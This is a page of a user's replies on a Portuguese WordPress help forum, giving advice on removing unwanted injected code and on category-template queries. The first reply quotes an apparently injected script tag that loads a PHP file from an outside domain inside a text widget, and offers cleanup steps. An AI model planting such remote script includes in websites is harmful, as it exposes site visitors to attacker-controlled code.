Marlon
Respostas no Fórum
-
Fórum: Outros assuntos
Em resposta a: Remover instalação de Plugin indesejado<div class="textwidget"><p><script type="text/javascript" src="http://lig-limp.com.br/rebots.php"></script></p> </div>
Tem uma classe
textwidget
no div, já olhou no painel de controle menu Aparência –> widgets se tem algum widget de texto com esse código dentro? Acho que está na área de widgets footer ou algo assim.Já tentou ir desativando os plugins? Se tiver alguma área de teste para não afetar o site em produção (ou tentar isso em um horário com pouco acessos, sei lá, de madrugada) poderia ir removendo os plugins do WP que estão instalados pra checar se é algum que está causando isso. Se tiver algum plugin de cache desabilite-o primeiro.
Se continuar o código mesmo desativando todos os plugins tente alterar o tema, para os default do wordpress por exemplo twentyten ou twentyeleven pra ver se o código vai persistir.
Pode tentar tb reinstalar o WP, indo em http://www.ojornalbebedouro.com.br/wp-admin/update-core.php
Fórum: Outros assuntos
Em resposta a: Remover instalação de Plugin indesejadospymam, tb achei que se tratava de um plugin de wordpress. Tente explicar melhor o seu problema.
Tente colar um printscreen através de serviços como http://imgur.com/ ou o código ou link da página com problema.
Fórum: Outros assuntos
Em resposta a: Remover instalação de Plugin indesejadoUma forma de desativar o plugin “forçadamente” é através do banco de dados, vc tem acesso?
Fórum: Temas
Em resposta a: Mostrar apenas posts da categoria selecionada na Category.phpO que está acontecendo é o seguinte: antes do WP chegar nesse template ele já executou a query principal com base na url requisitada e armazenou na variável global
$wp_query
. Ou seja se o usuário requisitou http://www.seusite.com/categoria o WP já sabe que ele quer um arquivo com todos os posts associados a essa categoria antes mesmo de carregar seu tema!Quando ele chega no seu template no ponto
$loop = new WP_Query(...
vai ser gerada uma nova query e armazenada na variável$loop
, ou seja, não é mais a query principal (essa forma é usada para criar queries secundárias), então ele não sabe qual categoria deverá exibir.A forma ideal, mas não mais correta, é alterar a query principal usando o filtro
pre_get_posts
declarando a função quer irá manipular isso no functions.php, mas é melhor ter um conhecimento intermediário para não ocasionar outros problemas.A forma mais simples de fazê-lo no próprio template é usando a função
query_posts()
.Tente substituir o trecho:
$loop = new WP_Query( array( 'post_type' => 'produtos', 'posts_per_page' => 5 ) ); while ( $loop->have_posts() ) : $loop->the_post();
Para:
query_posts( array( 'post_type' => 'produtos', 'posts_per_page' => 5 ) ); while ( have_posts() ) : the_post();
Como o WP já sabe qual é a categoria do arquivo não precisa passar nos argumentos.
Se não funcionar podemos tentar outras alternativas. Boa sorte!
Obs.: pelo código que postou está faltando um ponto-e-vírgula no final da declaração
endwhile
.